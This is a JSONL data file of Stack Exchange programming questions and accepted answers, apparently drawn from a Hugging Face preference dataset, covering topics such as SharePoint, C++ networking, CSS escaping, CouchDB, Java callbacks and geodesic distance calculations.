{"id": "hf_1f3bc1740102", "question": "<p>I was wondering if there is a good way to hook into the Application_Start of a SharePoint 2007 site when developing a feature? I know I can directly edit the Global.asax file in the site root, but is there a way to do this so that it gets deployed with the feature?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "My gut feeling on this is that it won't be possible. Application_Start is called by the runtime as the asp.net engine is starting up, so there most likely can't be any way to hook the handler outside of modifying the Global.asax - e.g. the hook must be declarative and persistent as it has to survive the application stopping/unloading. So, if you have to write to the global.asax, I guess you could write a Feature EventReceiver to perform the modification.\nThat aside, can you give more details on the why? Perhaps there are other angles of attack. The idea of modifying the global.asax on the fly makes me feel ill. That can't be good.\nOisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.637897"}
{"id": "hf_0f3ef28f49a2", "question": "<p>In C++, what's the easiest way to get the local computer's IP address and subnet mask?</p>\n<p>I want to be able to detect the local machine's IP address in my local network. In my particular case, I have a network with a subnet mask of 255.255.255.0 and my computer's IP address is 192.168.0.5. I need to get these had two values programmatically in order to send a broadcast message to my network (in the form 192.168.0.255, for my particular case)</p>\n<p>Edit: Many answers were not giving the results I expected because I had two different network IP's. <a href=\"https://stackoverflow.com/questions/122208/get-the-ip-address-of-local-computer#122235\">Torial</a>'s code did the trick (it gave me both IP addresses).</p>\n<p>Edit 2: Thanks to <a href=\"https://stackoverflow.com/questions/122208/get-the-ip-address-of-local-computer#122225\">Brian R. Bondy</a> for the info about the subnet mask.</p>\n", "question_body": "", "answer": "You can use gethostname followed by gethostbyname to get your local interface internal IP.\nThis returned IP may be different from your external IP though.  To get your external IP you would have to communicate with an external server that will tell you what your external IP is.  Because the external IP is not yours but it is your routers.\n```\n```\n//Example: b1 == 192, b2 == 168, b3 == 0, b4 == 100\nstruct IPv4\n{\n    unsigned char b1, b2, b3, b4;\n};\n\nbool getMyIP(IPv4 & myIP)\n{\n    char szBuffer[1024];\n\n    #ifdef WIN32\n    WSADATA wsaData;\n    WORD wVersionRequested = MAKEWORD(2, 0);\n    if(::WSAStartup(wVersionRequested, &wsaData) != 0)\n        return false;\n    #endif\n\n    if(gethostname(szBuffer, sizeof(szBuffer)) == SOCKET_ERROR)\n    {\n      #ifdef WIN32\n      WSACleanup();\n      #endif\n      return false;\n    }\n\n    struct hostent *host = gethostbyname(szBuffer);\n    if(host == NULL)\n    {\n      #ifdef WIN32\n      WSACleanup();\n      #endif\n      return false;\n    }\n\n    //Obtain the computer's IP\n    myIP.b1 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b1;\n    myIP.b2 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b2;\n    myIP.b3 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b3;\n    myIP.b4 = ((struct in_addr *)(host->h_addr))->S_un.S_un_b.s_b4;\n\n    #ifdef WIN32\n    WSACleanup();\n    #endif\n    return true;\n}\n```\n```\nYou can also always just use 127.0.0.1 which represents the local machine always.\nSubnet mask in Windows:\nYou can get the subnet mask (and gateway and other info) by querying subkeys of this registry entry:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\nLook for the registry value SubnetMask.\nOther methods to get interface information in Windows:\nYou could also retrieve the information you're looking for by using:\nWSAIoctl\nwith this option: SIO_GET_INTERFACE_LIST", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.662691"}
{"id": "hf_5313022dd2ee", "question": "<p>Our development team work with Borland C++ Builder 6 and CodeGear C++ Builder 2007 (as well as Visual Studio). I hear a lot of comments that the Builder 2007 IDE crashes a lot more than BCB6 does. Does anyone out there have any experience of the C++ Builder 2009 IDE yet, particularly with a decent size application, and if so how does this compare with 6 or 2007 in terms of overall robustness?</p>\n", "question_body": "", "answer": "I haven't used C++ Builder 2009 but maybe this will help you.\nAccording to Chris Pattinson (QA manager at CodeGear), they made over 4000 fixes in both Delphi and C++ Builder 2009 (See this blog:\nhttp://blogs.codegear.com/chrispattinson/2008/09/19/38897\n)\nHe links to an article on cn.codegear.com which details all of the fixes for C++ Builder, see\nhttp://dn.codegear.com/article/38715", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.737133"}
{"id": "hf_115e7ac2bba6", "question": "<p>JSF is setting the ID of an input field to <code>search_form:expression</code>. I need to specify some styling on that element, but that colon looks like the beginning of a pseudo-element to the browser so it gets marked invalid and ignored. Is there anyway to escape the colon or something?</p>\n\n<pre><code>input#search_form:expression {\n  ///...\n}\n</code></pre>\n", "question_body": "", "answer": "Backslash:\n```\n```\ninput#search_form\\:expression {  ///...}\n```\n```\nSee also\nUsing Namespaces with CSS\n(MSDN)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.761098"}
{"id": "hf_d055e4bd4a36", "question": "<p>After installing a third-party SDK, it very discourteously makes one if its templates the default item in \"Add New Item...\" dialog in Visual Studio 2005. This is also the case for all other similar dialogs - \"Add Class...\", \"Add User Control...\" etc.</p>\n\n<p>Is there a way to change this behavior?</p>\n", "question_body": "", "answer": "Try looking at the registry under\n```\n```\nHKEY_CURRENT_USER\\Software\\Microsoft\\VisualStudio\\\n```\n```\nI see some relevant entries on my machine under\n```\n```\nHKEY_CURRENT_USER\\Software\\Microsoft\\VisualStudio\\9.0\n```\n```\nfor VS2008.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.797201"}
{"id": "hf_bad9a1b91909", "question": "<p>(using the IMAP commands, not with the assistance of any other mail package)</p>\n", "question_body": "", "answer": "I guess you COPY the message to the new folder and then delete (EXPUNGE) it in the old one.\nRFC3501\nHINT\nThere's no DELETE command that does what you mean, you have to flag the message as deleted and then EXPUNGE the mailbox. Have a look at the RFC. Be careful with DELETE, as it deletes whole mailboxes, not single mails.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.833705"}
{"id": "hf_ca1e4810d7f2", "question": "<p>Does anyone have any code examples on how to create controllers that have parameters other than using a Dependency Injection Container? </p>\n\n<p>I see plenty of samples with using containers like StructureMap, but nothing if you wanted to pass in the dependency class yourself.</p>\n", "question_body": "", "answer": "You can use poor-man's dependency injection:\n```\n```\npublic ProductController() : this( new Foo() )\n{\n  //the framework calls this\n}\n\npublic ProductController(IFoo foo)\n{\n  _foo = foo;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.870664"}
{"id": "hf_3c5abd281f65", "question": "<p>I switched from Perl to Python about a year ago and haven't looked back.  There is only <i>one</i> idiom that I've ever found I can do more easily in Perl than in Python:</p>\n\n<pre><code>if ($var =~ /foo(.+)/) {\n  # do something with $1\n} elsif ($var =~ /bar(.+)/) {\n  # do something with $1\n} elsif ($var =~ /baz(.+)/) {\n  # do something with $1\n}\n</code></pre>\n\n<p>The corresponding Python code is not so elegant since the if statements keep getting nested:</p>\n\n<pre><code>m = re.search(r'foo(.+)', var)\nif m:\n  # do something with m.group(1)\nelse:\n  m = re.search(r'bar(.+)', var)\n  if m:\n    # do something with m.group(1)\n  else:\n    m = re.search(r'baz(.+)', var)\n    if m:\n      # do something with m.group(2)\n</code></pre>\n\n<p>Does anyone have an elegant way to reproduce this pattern in Python?  I've seen anonymous function dispatch tables used, but those seem kind of unwieldy to me for a small number of regular expressions...</p>\n", "question_body": "", "answer": "Using named groups and a dispatch table:\n```\n```\nr = re.compile(r'(?P<cmd>foo|bar|baz)(?P<data>.+)')\n\ndef do_foo(data):\n    ...\n\ndef do_bar(data):\n    ...\n\ndef do_baz(data):\n    ...\n\ndispatch = {\n    'foo': do_foo,\n    'bar': do_bar,\n    'baz': do_baz,\n}\n\nm = r.match(var)\nif m:\n    dispatch[m.group('cmd')](m.group('data'))\n```\n```\nWith a little bit of introspection you can auto-generate the regexp and the dispatch table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.907855"}
{"id": "hf_f2e48c94a68c", "question": "<p>I have a Java application that monitors a folder for incoming XML files.  When a new file is detected I need to test the file that it is not currently being updated and is closed.  My thought is to use <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html#canWrite()\" rel=\"noreferrer\">File.canWrite()</a> to test this.  Is there any issue with doing this?  Is this a good way to test that a file has been completely written?  </p>\n\n<p>Other ideas I am throwing around are:</p>\n\n<ul>\n<li>Parse the incoming XML file and test\nthat the closing tag is there.</li>\n<li>Check for the EoF character.</li>\n</ul>\n\n<p>I just am not sure that any of these methods will handle all scenarios.</p>\n", "question_body": "", "answer": "No, canWrite is not suitable for this purpose. In general the file will be writable even if another process is writing.\nYou need a higher level protocol to coordinate the locking. If you plan to use this code on a single platform, you may be able to use\nNIO's FileLock facility\n. But read the documentation carefully, and note that on many platforms, the lock is only advisory.\nAnother approach is to have one process write the file with a name that your process won't recognize, then rename the file to a recognizable name when the write is complete. On most platforms, the rename operation is atomic if the source and destination are the same file system volume. The name change might use a different file extension, or even moving the file from one directory to another (on the same volume).\nSince in this case you are working exclusively with XML, looking for a close tag would work, but it isn't foolproof—what if there are comments after the final markup, or the writer or simply doesn't write valid XML?\nLooking for the EOF will\nnot\nwork. There will always be an EOF, even when the writer has just opened the file and hasn't written anything yet. If this weren't so, the easiest thing would be to allow the reader to start parsing as soon as the file showed up; it would simply block until the writer closed the file. But the file system doesn't work this way. Every file has an end, even if some process is currently moving it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.943853"}
{"id": "hf_468bfc906777", "question": "<p>As far as I understand, CouchDB indexes are updated when a view is queried.  Assuming there are more reads than writes, isn't this bad for scaling?  How would I configure CouchDB to update indexes on writes, or better yet, on a schedule?</p>\n", "question_body": "", "answer": "CouchDB does regenerate views on update, but only on what has changed since the last read access to the view. Assuming your read volume greatly outweighs your write volume, this shouldn't be a problem.\nWhen you're changing large numbers of documents at once this could lead to the possibility of the first read requests taking a noticeable amount of time. To alleviate this a few different possibilities have been suggested. Most rely on registering with CouchDB's update notifications and triggering reads automatically.\nAn example script for doing exactly that is available on the CouchDB wiki at [1].\n[1]\nhttp://wiki.apache.org/couchdb/RegeneratingViewsOnUpdate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:58.968057"}
{"id": "hf_7f3ff7c83613", "question": "<p>According to  select name from system_privilege_map System has been granted:</p>\n\n<pre><code>SELECT ANY TABLE\n</code></pre>\n\n<p>...and lots of other * ANY TABLES.</p>\n\n<p>Plainly running</p>\n\n<pre><code>select * from the_table;\nselect * from the_table;\n</code></pre>\n\n<p>...nets the given response:</p>\n\n<blockquote>\n  <p>ERROR at line 1:\n  ORA-00942: table or view does not exist</p>\n</blockquote>\n\n<p>I can log in as that user and run the same command just fine.</p>\n\n<p>I'm running under the assumption I should be able to run queries (select in this case) agaisnt a general user's DB table. Is my assumption correct, and if so, how do I do it?</p>\n", "question_body": "", "answer": "If the_table is owned by user \"some_user\" then:\n```\n```\nselect * from some_user.the_table;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.004640"}
{"id": "hf_2e33c339ba79", "question": "<p>I'm getting confused with the include/exclude jargon, and my actual SVN client doesn't seem to have (or I've been unable to find it easily) a simple option to add or remove a certain type of files for version control.</p>\n\n<p>Let's say for example I've added the entire Visual Studio folder, with its solutions, projects, debug files, etc., but I only want to version the actual source files. What would be the simplest way to do that?</p>\n", "question_body": "", "answer": "At the lowest level, SVN allows you to ignore certain files or patterns with\nsvn:ignore\nattribute. VS add-ins for SVN such as\nVisualSVN\nwill automatically ignore those files on your behalf. If you're using\nTortoiseSVN\n, you can right-click files and folders in Explorer and choose\nAdd to Ignore List\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.029224"}
{"id": "hf_e4dc2bf60cfa", "question": "<p>How do I find the location of my <code>site-packages</code> directory?</p>\n", "question_body": "", "answer": "A solution that:\noutside of virtualenv - provides the path of\nglobal\nsite-packages,\ninsidue a virtualenv - provides the\nvirtualenv's\nsite-packages\n...is this one-liner:\n```\n```\npython -c \"from distutils.sysconfig import get_python_lib; print(get_python_lib())\"\n```\n```\nFormatted for readability (rather than use as a one-liner), that looks like the following:\n```\n```\nfrom distutils.sysconfig import get_python_lib\nprint(get_python_lib())\n```\n```\nSource:\nan very old version of\n\"How to Install Django\" documentation\n(though this is useful to more than just Django installation)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.079201"}
{"id": "hf_f1f1bdcf18df", "question": "<p>Can I simulate in C#/C++ code <kbd>Control</kbd>+<kbd>Alt</kbd>+<kbd>Delete</kbd> sequence in Vista? \nWhen UAC enabled/disabled?\nHow it is done in XP?</p>\n\n<p>Can you provide a code sample that works in Vista?</p>\n", "question_body": "", "answer": "PostMessage(HWND_BROADCAST, WM_HOTKEY, 0, MAKELONG(MOD_ALT | MOD_CONTROL, VK_DELETE));\nYou get PostMessage from the user32 dll\nedit:\nCodeProject article that has code for it\nedit: There is some\ndiscussion from VNC\non why that won't work in Vista and how to set up UAC to allow it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.141221"}
{"id": "hf_48972b6d8e8a", "question": "<p>I don't develop too many desktop / Windows Forms applications, but it had occurred to me that there may be some benefit to using the MVC (Model View Controller) pattern for Windows Forms .NET development.</p>\n\n<p>Has anyone implemented MVC in Windows Forms? If so, do you have any tips on the design?</p>\n", "question_body": "", "answer": "Well, actually Windows Forms implements a \"free-style\" version of MVC, much like some movies implement some crappy \"free-style\" interpretation of some classic books (Romeo & Juliet come to mind).\nI'm not saying Windows Forms' implementation is bad, it's just... different.\nIf you use Windows Forms and proper OOP techniques, and maybe an ORM like EntitySpaces for your database access, then you could say that:\nThe ORM/OOP infrastructure is the Model\nThe Forms are the Views\nThe event handlers are the Controller\nAlthough having both View and Controller represented by the same object make separating code from representation way more difficult (there's no easy way to plug-in a \"GTK+ view\" in a class derived from Microsoft.Windows.Forms.Form).\nWhat you can do, if you are careful enough. Is keep your form code\ncompletely\nseparate from your controller/model code by only writing GUI related stuff in the event handlers, and all other business logic in a separate class. In that case, if you ever wanted to use GTK+ to write another View layer, you would only need to rewrite the GUI code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.164929"}
{"id": "hf_cd4b6637f6b3", "question": "<p>I have a method that's about ten lines of code.  I want to create more methods that do exactly the same thing, except for a small calculation that's going to change one line of code.  This is a perfect application for passing in a function pointer to replace that one line, but Java doesn't have function pointers.  What's my best alternative?</p>\n", "question_body": "", "answer": "Anonymous inner class\nSay you want to have a function passed in with a\n```\nString\n```\nparam that returns an\n```\nint\n```\n.\nFirst you have to define an interface with the function as its only member, if you can't reuse an existing one.\n```\n```\ninterface StringFunction {\n    int func(String param);\n}\n```\n```\nA method that takes the pointer would just accept\n```\nStringFunction\n```\ninstance like so:\n```\n```\npublic void takingMethod(StringFunction sf) {\n   int i = sf.func(\"my string\");\n   // do whatever ...\n}\n```\n```\nAnd would be called like so:\n```\n```\nref.takingMethod(new StringFunction() {\n    public int func(String param) {\n        // body\n    }\n});\n```\n```\nEDIT:\nIn Java 8, you could call it with a lambda expression:\n```\n```\nref.takingMethod(param -> bodyExpression);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.239159"}
{"id": "hf_25546221cc54", "question": "<p>I'm implementing charts using <a href=\"http://www.ziya.liquidrail.com/\" rel=\"nofollow noreferrer\">The Ziya Charts Gem</a>. Unfortunately, the documentation isn't really helpful or I haven't had enough coffee to figure out theming. I know I can set a theme using</p>\n\n<pre><code>chart.add(:theme, 'whatever')\n</code></pre>\n\n<p>Problem: I haven't found any predefined themes, nor have I found a reference to the required format. </p>\n", "question_body": "", "answer": "To partly answer my own question, there are some themes in the website sources which can be checked out at\n```\n```\nsvn co svn://rubyforge.org/var/svn/liquidrail/samples/charting\n```\n```\n(then go to /public/charts/themes/)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.290150"}
{"id": "hf_269f1283f559", "question": "<p>I have an XML file that starts like this:</p>\n\n<pre><code>&lt;Elements name=\"Entities\" xmlns=\"XS-GenerationToolElements\"&gt;\n</code></pre>\n\n<p>I'll have to open a lot of these files. Each of these have a different namespace but will only have one namespace at a time (I'll never find two namespaces defined in one xml file).</p>\n\n<p>Using XPath I'd like to have an automatic way to add the given namespace to the namespace manager. \nSo far, i could only get the namespace by parsing the xml file but I have a XPathNavigator instance and it should have a nice and clean way to get the namespaces, right?</p>\n\n<p>-- OR --</p>\n\n<p>Given that I only have one namespace, somehow make XPath use the only one that is present in the xml, thus avoiding cluttering the code by always appending the namespace.</p>\n", "question_body": "", "answer": "Unfortunately, XPath doesn't have any concept of \"default namespace\".  You need to register namespaces with prefixes with the XPath context, and then use those prefixes in your XPath expressions.  It means for very verbose xpath, but it's a basic shortcoming of XPath 1.  Apparently XPath 2 will address this, but that's no use to you right now.\nI suggest that you programmatically examine your XML document for the namespace, associate that namespace with a prefix in the XPath context, then use the prefix in the xpath expressions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.354882"}
{"id": "hf_89f813539776", "question": "<p>In crontab, I can use an asterisk to mean every value, or \"*/2\" to mean every even value.</p>\n\n<p>Is there a way to specify every <strong>odd</strong> value? (Would something like \"1+*/2\" work?)</p>\n", "question_body": "", "answer": "Try\n```\n```\n1-23/2\n```\n```\nFrom your question, I'm assuming Vixie Cron.  I doubt this will work with any other cron.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.394568"}
{"id": "hf_12141e28f69c", "question": "<p>I want to build an executable to distribute to people without python installed on their machines. </p>\n\n<p>Is there an add-on to Eclipse that allows this? I couldn't find one. </p>\n\n<p>If not, do you have a builder that you recommend that would make it easy to go to my python project directory created in Eclipse, and bundle it all up? </p>\n\n<p>Thanks,\nMark</p>\n", "question_body": "", "answer": "It's not eclipse, but ActiveState's\nActivePython FAQ\nmentions the freeze utility, which sounds like it might be close to what you're asking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.443288"}
{"id": "hf_68fda970e261", "question": "<p>I'm using a lat/long SRID in my PostGIS database (-4326).  I would like to find the nearest points to a given point in an efficient manner.  I tried doing an</p>\n\n<pre><code>ORDER BY    ST_Distance(point, ST_GeomFromText(?,-4326))\n</code></pre>\n\n<p>which gives me ok results in the lower 48 states, but up in Alaska it gives me garbage.  Is there a way to do real distance calculations in PostGIS, or am I going to have to give a reasonable sized buffer and then calculate the great circle distances and sort the results in the code afterwards?</p>\n", "question_body": "", "answer": "This is from SQL Server, and I use Haversine for a ridiculously fast distance that may suffer from your Alaska issue (can be off by a mile):\n```\n```\nALTER function [dbo].[getCoordinateDistance]\n    (\n    @Latitude1  decimal(16,12),\n    @Longitude1 decimal(16,12),\n    @Latitude2  decimal(16,12),\n    @Longitude2 decimal(16,12)\n    )\nreturns decimal(16,12)\nas\n/*\nfUNCTION: getCoordinateDistance\n\n    Computes the Great Circle distance in kilometers\n    between two points on the Earth using the\n    Haversine formula distance calculation.\n\nInput Parameters:\n    @Longitude1 - Longitude in degrees of point 1\n    @Latitude1  - Latitude  in degrees of point 1\n    @Longitude2 - Longitude in degrees of point 2\n    @Latitude2  - Latitude  in degrees of point 2\n\n*/\nbegin\ndeclare @radius decimal(16,12)\n\ndeclare @lon1  decimal(16,12)\ndeclare @lon2  decimal(16,12)\ndeclare @lat1  decimal(16,12)\ndeclare @lat2  decimal(16,12)\n\ndeclare @a decimal(16,12)\ndeclare @distance decimal(16,12)\n\n-- Sets average radius of Earth in Kilometers\nset @radius = 6366.70701949371\n\n-- Convert degrees to radians\nset @lon1 = radians( @Longitude1 )\nset @lon2 = radians( @Longitude2 )\nset @lat1 = radians( @Latitude1 )\nset @lat2 = radians( @Latitude2 )\n\nset @a = sqrt(square(sin((@lat2-@lat1)/2.0E)) + \n    (cos(@lat1) * cos(@lat2) * square(sin((@lon2-@lon1)/2.0E))) )\n\nset @distance =\n    @radius * ( 2.0E *asin(case when 1.0E < @a then 1.0E else @a end ) )\n\nreturn @distance\n\nend\n```\n```\nVicenty is slow, but accurate to within 1 mm (and I only found a javascript imp of it):\n```\n```\n/*\n * Calculate geodesic distance (in m) between two points specified by latitude/longitude (in numeric degrees)\n * using Vincenty inverse formula for ellipsoids\n */\nfunction distVincenty(lat1, lon1, lat2, lon2) {\n  var a = 6378137, b = 6356752.3142,  f = 1/298.257223563;  // WGS-84 ellipsiod\n  var L = (lon2-lon1).toRad();\n  var U1 = Math.atan((1-f) * Math.tan(lat1.toRad()));\n  var U2 = Math.atan((1-f) * Math.tan(lat2.toRad()));\n  var sinU1 = Math.sin(U1), cosU1 = Math.cos(U1);\n  var sinU2 = Math.sin(U2), cosU2 = Math.cos(U2);\n\n  var lambda = L, lambdaP = 2*Math.PI;\n  var iterLimit = 20;\n  while (Math.abs(lambda-lambdaP) > 1e-12 && --iterLimit>0) {\n    var sinLambda = Math.sin(lambda), cosLambda = Math.cos(lambda);\n    var sinSigma = Math.sqrt((cosU2*sinLambda) * (cosU2*sinLambda) + \n      (cosU1*sinU2-sinU1*cosU2*cosLambda) * (cosU1*sinU2-sinU1*cosU2*cosLambda));\n    if (sinSigma==0) return 0;  // co-incident points\n    var cosSigma = sinU1*sinU2 + cosU1*cosU2*cosLambda;\n    var sigma = Math.atan2(sinSigma, cosSigma);\n    var sinAlpha = cosU1 * cosU2 * sinLambda / sinSigma;\n    var cosSqAlpha = 1 - sinAlpha*sinAlpha;\n    var cos2SigmaM = cosSigma - 2*sinU1*sinU2/cosSqAlpha;\n    if (isNaN(cos2SigmaM)) cos2SigmaM = 0;  // equatorial line: cosSqAlpha=0 (§6)\n    var C = f/16*cosSqAlpha*(4+f*(4-3*cosSqAlpha));\n    lambdaP = lambda;\n    lambda = L + (1-C) * f * sinAlpha *\n      (sigma + C*sinSigma*(cos2SigmaM+C*cosSigma*(-1+2*cos2SigmaM*cos2SigmaM)));\n  }\n  if (iterLimit==0) return NaN  // formula failed to converge\n\n  var uSq = cosSqAlpha * (a*a - b*b) / (b*b);\n  var A = 1 + uSq/16384*(4096+uSq*(-768+uSq*(320-175*uSq)));\n  var B = uSq/1024 * (256+uSq*(-128+uSq*(74-47*uSq)));\n  var deltaSigma = B*sinSigma*(cos2SigmaM+B/4*(cosSigma*(-1+2*cos2SigmaM*cos2SigmaM)-\n    B/6*cos2SigmaM*(-3+4*sinSigma*sinSigma)*(-3+4*cos2SigmaM*cos2SigmaM)));\n  var s = b*A*(sigma-deltaSigma);\n\n  s = s.toFixed(3); // round to 1mm precision\n  return s;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.546549"}
{"id": "hf_4c6d277accbc", "question": "<p>I have a ASP.NET application running on a remote web server and I just started getting this error.  I can't seem to reproduce it in my development environment:</p>\n\n<pre><code>Method not found: 'Void System.Collections.Generic.ICollection`1..ctor()'.\n</code></pre>\n\n<p>Could this be due to some misconfiguration of .NET Framework or IIS 6?</p>\n\n<p>Update:\nI disassembled the code in the DLL and it seems like the compiler is incorrectly optimizing the code.  (Note that Set is a class that implements a set of unique objects.  It inherits from IEnumerable.)  This line:</p>\n\n<pre><code>Set&lt;int&gt; set = new Set&lt;int&gt;();\n</code></pre>\n\n<p>Is compiled into this line:</p>\n\n<pre><code>Set&lt;int&gt; set = (Set&lt;int&gt;) new ICollection&lt;CalendarModule&gt;();\n</code></pre>\n\n<p>The Calendar class is a totally unrelated class!!  Has anyone ever noticed .NET incorrectly compiling code like this before?</p>\n", "question_body": "", "answer": "Is your IIS setup to use .NET 2.0?  If not, change it to 2.0.  If you can't see 2.0 in the list then you'll need to run aspnet_regiis from the 2.0 framework directory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.583493"}
{"id": "hf_e5cb34e4ac74", "question": "<p>Is it possible to throw an exception in a JSP without using scriptlet code?</p>\n", "question_body": "", "answer": "You can throw an exception if you do this:\n```\n```\n<c:out value=\"${1/0}\" />\n```\n```\nor something that is similarly \"illegal\"\nIdeally though, since JSPs are associated with the view...you don't want to throw an exception. You want to catch them with\n```\n<c:catch>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.609907"}
{"id": "hf_351594a6a028", "question": "<p>I need your help in determining the best approach for analyzing industry-specific sentences (i.e. movie reviews) for \"positive\" vs \"negative\". I've seen libraries such as OpenNLP before, but it's too low-level - it just gives me the basic sentence composition; what I need is a higher-level structure:\n- hopefully with wordlists\n- hopefully trainable on my set of data</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "What you are looking for is commonly dubbed\nSentiment Analysis\n. Typically, sentiment analysis is not able to handle delicate subtleties, like sarcasm or irony, but it fares pretty well if you throw a large set of data at it.\nSentiment analysis usually needs quite a bit of pre-processing. At least tokenization, sentence boundary detection and part-of-speech tagging. Sometimes, syntactic parsing can be important. Doing it properly is an entire branch of research in computational linguistics, and I wouldn't advise you with coming up with your own solution unless you take your time to study the field first.\nOpenNLP has some tools to aid sentiment analysis, but if you want something more serious, you should look into the\nLingPipe\ntoolkit. It has some built-in SA-functionality and a nice\ntutorial\n. And you can train it on your own set of data, but don't think that it is entirely trivial :-).\nGoogling for the term will probably also give you some resources to work with. If you have any more specific question, just ask, I'm watching the nlp-tag closely ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:59.635701"}
